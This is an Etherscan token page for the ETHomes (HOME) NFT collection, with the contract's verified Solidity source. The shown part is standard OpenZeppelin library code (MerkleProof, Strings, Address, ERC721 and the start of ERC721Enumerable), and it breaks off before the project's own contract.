ETH Price: $3,860.59 (+5.66%)

Token

ETHomes (HOME)
 

Overview

Max Total Supply

247 HOME

Holders

92

Total Transfers

-

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ETHomes

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-02
*/

// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)

pragma solidity ^0.8.0;

/**
 * @dev These functions deal with verification of Merkle Trees proofs.
 *
 * The proofs can be generated using the JavaScript library
 * https://github.com/miguelmota/merkletreejs[merkletreejs].
 * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
 *
 * See `test/utils/cryptography/MerkleProof.test.js` for some examples.
 */
library MerkleProof {
    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     */
    function verify(
        bytes32[] memory proof,
        bytes32 root,
        bytes32 leaf
    ) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leafs & pre-images are assumed to be sorted.
     *
     * _Available since v4.4._
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            bytes32 proofElement = proof[i];
            if (computedHash <= proofElement) {
                // Hash(current computed hash + current element of the proof)
                computedHash = _efficientHash(computedHash, proofElement);
            } else {
                // Hash(current element of the proof + current computed hash)
                computedHash = _efficientHash(proofElement, computedHash);
            }
        }
        return computedHash;
    }

    function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
    }
}

// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/token/ERC721/ERC721.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)

pragma solidity ^0.8.0;








/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata extension, but not including the Enumerable extension, which is available separately as
 * {ERC721Enumerable}.
 */
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
    using Address for address;
    using Strings for uint256;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to owner address
    mapping(uint256 => address) private _owners;

    // Mapping owner address to token count
    mapping(address => uint256) private _balances;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    /**
     * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view virtual override returns (uint256) {
        require(owner != address(0), "ERC721: balance query for the zero address");
        return _balances[owner];
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view virtual override returns (address) {
        address owner = _owners[tokenId];
        require(owner != address(0), "ERC721: owner query for nonexistent token");
        return owner;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public virtual override {
        address owner = ERC721.ownerOf(tokenId);
        require(to != owner, "ERC721: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view virtual override returns (address) {
        require(_exists(tokenId), "ERC721: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public virtual override {
        _setApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        //solhint-disable-next-line max-line-length
        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");

        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public virtual override {
        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
        _safeTransfer(from, to, tokenId, _data);
    }

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * `_data` is additional data, it has no specified format and it is sent in call to `to`.
     *
     * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
     * implement alternative mechanisms to perform token transfer, such as signature-based.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function _safeTransfer(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) internal virtual {
        _transfer(from, to, tokenId);
        require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     * and stop existing when they are burned (`_burn`).
     */
    function _exists(uint256 tokenId) internal view virtual returns (bool) {
        return _owners[tokenId] != address(0);
    }

    /**
     * @dev Returns whether `spender` is allowed to manage `tokenId`.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
        require(_exists(tokenId), "ERC721: operator query for nonexistent token");
        address owner = ERC721.ownerOf(tokenId);
        return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
    }

    /**
     * @dev Safely mints `tokenId` and transfers it to `to`.
     *
     * Requirements:
     *
     * - `tokenId` must not exist.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(address to, uint256 tokenId) internal virtual {
        _safeMint(to, tokenId, "");
    }

    /**
     * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
     * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
     */
    function _safeMint(
        address to,
        uint256 tokenId,
        bytes memory _data
    ) internal virtual {
        _mint(to, tokenId);
        require(
            _checkOnERC721Received(address(0), to, tokenId, _data),
            "ERC721: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Mints `tokenId` and transfers it to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
     *
     * Requirements:
     *
     * - `tokenId` must not exist.
     * - `to` cannot be the zero address.
     *
     * Emits a {Transfer} event.
     */
    function _mint(address to, uint256 tokenId) internal virtual {
        require(to != address(0), "ERC721: mint to the zero address");
        require(!_exists(tokenId), "ERC721: token already minted");

        _beforeTokenTransfer(address(0), to, tokenId);

        _balances[to] += 1;
        _owners[tokenId] = to;

        emit Transfer(address(0), to, tokenId);

        _afterTokenTransfer(address(0), to, tokenId);
    }

    /**
     * @dev Destroys `tokenId`.
     * The approval is cleared when the token is burned.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     *
     * Emits a {Transfer} event.
     */
    function _burn(uint256 tokenId) internal virtual {
        address owner = ERC721.ownerOf(tokenId);

        _beforeTokenTransfer(owner, address(0), tokenId);

        // Clear approvals
        _approve(address(0), tokenId);

        _balances[owner] -= 1;
        delete _owners[tokenId];

        emit Transfer(owner, address(0), tokenId);

        _afterTokenTransfer(owner, address(0), tokenId);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *  As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) internal virtual {
        require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
        require(to != address(0), "ERC721: transfer to the zero address");

        _beforeTokenTransfer(from, to, tokenId);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId);

        _balances[from] -= 1;
        _balances[to] += 1;
        _owners[tokenId] = to;

        emit Transfer(from, to, tokenId);

        _afterTokenTransfer(from, to, tokenId);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(address to, uint256 tokenId) internal virtual {
        _tokenApprovals[tokenId] = to;
        emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
    }

    /**
     * @dev Approve `operator` to operate on all of `owner` tokens
     *
     * Emits a {ApprovalForAll} event.
     */
    function _setApprovalForAll(
        address owner,
        address operator,
        bool approved
    ) internal virtual {
        require(owner != operator, "ERC721: approve to caller");
        _operatorApprovals[owner][operator] = approved;
        emit ApprovalForAll(owner, operator, approved);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver.onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before any token transfer. This includes minting
     * and burning.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, ``from``'s `tokenId` will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 tokenId
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 tokenId
    ) internal virtual {}
}

// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)

pragma solidity ^0.8.0;



/**
 * @dev This implements an optional extension of {ERC721} defined in the EIP that adds
 * enumerability of all the token ids in the contract as well as all token ids owned by each
 * account.
 */
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
    // Mapping from owner to list of owned token IDs
    mapping(address => mapping(uint256 => uint256)) private _ownedTokens;

    // Mapping from token ID to index of the owner tokens list
    mapping(uint256 => uint256) private _ownedTokensIndex;

    // Array with all token ids, used for enumeration
    uint256[] private _allTokens;

    // Mapping from token id to position in the allTokens array
    mapping(uint256 => uint256) private _allTokensIndex;

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
        return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
        require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
        return _ownedTokens[owner][index];
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _allTokens.length;
    }

    /**
